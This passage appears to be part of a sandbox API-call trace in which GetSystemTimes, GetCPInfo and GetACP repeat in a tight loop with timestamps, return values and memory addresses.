lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.240] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.240] GetACP () returned 0x4e4 [0053.240] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.240] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.240] GetACP () returned 0x4e4 [0053.240] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.240] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.240] GetACP () returned 0x4e4 [0053.240] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.240] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.240] GetACP () returned 0x4e4 [0053.240] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.241] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.241] GetACP () returned 0x4e4 [0053.241] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.241] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.241] GetACP () returned 0x4e4 [0053.241] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.241] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.241] GetACP () returned 0x4e4 [0053.241] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.241] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.241] GetACP () returned 0x4e4 [0053.241] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.241] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.241] GetACP () returned 0x4e4 [0053.241] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.241] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.241] GetACP () returned 0x4e4 [0053.241] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.241] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.241] GetACP () returned 0x4e4 [0053.241] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.241] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.241] GetACP () returned 0x4e4 [0053.241] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.241] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.242] GetACP () returned 0x4e4 [0053.242] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.242] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.242] GetACP () returned 0x4e4 [0053.242] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.242] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.242] GetACP () returned 0x4e4 [0053.242] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.242] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.242] GetACP () returned 0x4e4 [0053.242] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.242] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.242] GetACP () returned 0x4e4 [0053.242] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.242] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.242] GetACP () returned 0x4e4 [0053.242] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.242] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.242] GetACP () returned 0x4e4 [0053.242] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.242] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.242] GetACP () returned 0x4e4 [0053.242] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.242] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.242] GetACP () returned 0x4e4 [0053.242] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.242] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.243] GetACP () returned 0x4e4 [0053.243] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.243] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.243] GetACP () returned 0x4e4 [0053.243] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.243] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.243] GetACP () returned 0x4e4 [0053.243] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.243] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.243] GetACP () returned 0x4e4 [0053.243] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.243] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.243] GetACP () returned 0x4e4 [0053.243] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.243] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.243] GetACP () returned 0x4e4 [0053.243] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.243] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.243] GetACP () returned 0x4e4 [0053.243] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.243] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.243] GetACP () returned 0x4e4 [0053.243] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.243] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.243] GetACP () returned 0x4e4 [0053.243] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.243] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.243] GetACP () returned 0x4e4 [0053.244] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.244] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.244] GetACP () returned 0x4e4 [0053.244] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.244] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.244] GetACP () returned 0x4e4 [0053.244] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.244] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.244] GetACP () returned 0x4e4 [0053.244] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.244] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.244] GetACP () returned 0x4e4 [0053.244] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.244] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.244] GetACP () returned 0x4e4 [0053.244] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.244] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.244] GetACP () returned 0x4e4 [0053.244] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.244] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.244] GetACP () returned 0x4e4 [0053.244] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.244] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.244] GetACP () returned 0x4e4 [0053.244] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.244] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.245] GetACP () returned 0x4e4 [0053.245] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.245] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.245] GetACP () returned 0x4e4 [0053.245] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.245] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.245] GetACP () returned 0x4e4 [0053.245] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.245] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.245] GetACP () returned 0x4e4 [0053.245] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.245] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.245] GetACP () returned 0x4e4 [0053.245] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.245] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.245] GetACP () returned 0x4e4 [0053.245] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.245] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.245] GetACP () returned 0x4e4 [0053.245] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.245] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.245] GetACP () returned 0x4e4 [0053.245] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.245] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.245] GetACP () returned 0x4e4 [0053.245] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.245] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.246] GetACP () returned 0x4e4 [0053.246] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.246] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.246] GetACP () returned 0x4e4 [0053.246] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.246] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.246] GetACP () returned 0x4e4 [0053.246] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.246] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.246] GetACP () returned 0x4e4 [0053.246] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.246] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.246] GetACP () returned 0x4e4 [0053.246] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.246] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.246] GetACP () returned 0x4e4 [0053.246] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.246] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.246] GetACP () returned 0x4e4 [0053.246] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.246] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.246] GetACP () returned 0x4e4 [0053.246] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.246] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.246] GetACP () returned 0x4e4 [0053.246] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.246] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.247] GetACP () returned 0x4e4 [0053.247] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.247] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.247] GetACP () returned 0x4e4 [0053.247] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.247] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.247] GetACP () returned 0x4e4 [0053.247] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.247] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.247] GetACP () returned 0x4e4 [0053.247] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.247] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.247] GetACP () returned 0x4e4 [0053.247] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.247] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.247] GetACP () returned 0x4e4 [0053.247] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.247] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.247] GetACP () returned 0x4e4 [0053.247] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.247] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.247] GetACP () returned 0x4e4 [0053.247] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.247] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.247] GetACP () returned 0x4e4 [0053.247] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.247] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.248] GetACP () returned 0x4e4 [0053.248] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.248] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.248] GetACP () returned 0x4e4 [0053.248] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.248] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.248] GetACP () returned 0x4e4 [0053.248] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.248] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.248] GetACP () returned 0x4e4 [0053.248] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.248] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.248] GetACP () returned 0x4e4 [0053.248] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.248] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.248] GetACP () returned 0x4e4 [0053.248] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.248] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.248] GetACP () returned 0x4e4 [0053.248] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.248] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.248] GetACP () returned 0x4e4 [0053.248] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.248] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.248] GetACP () returned 0x4e4 [0053.248] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.248] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 